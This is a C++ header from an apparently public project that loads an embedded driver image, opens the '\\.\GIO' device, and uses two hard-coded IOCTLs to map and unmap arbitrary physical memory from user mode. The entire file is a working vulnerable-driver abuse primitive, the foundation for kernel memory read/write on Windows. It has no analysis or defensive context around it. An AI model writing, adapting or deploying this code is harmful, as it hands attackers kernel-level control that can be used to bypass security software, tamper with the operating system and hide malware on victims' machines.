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PTM/nasa-tables/physmeme/physmeme.hpp

95 lines
1.8 KiB

#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#define MAP_PHYSICAL_MEMORY 0xC3502004
#define UNMAP_PHYSICAL_MEMORY 0xC3502008
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace nasa
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
inline bool load_drv()
{
const auto [result, key] =
driver::load(
raw_driver,
sizeof(raw_driver)
);
drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
return drv_handle;
}
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
{
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL_MEMORY,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0];
}
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
if (!DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL_MEMORY,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return false;
return out_buffer[0];
}
}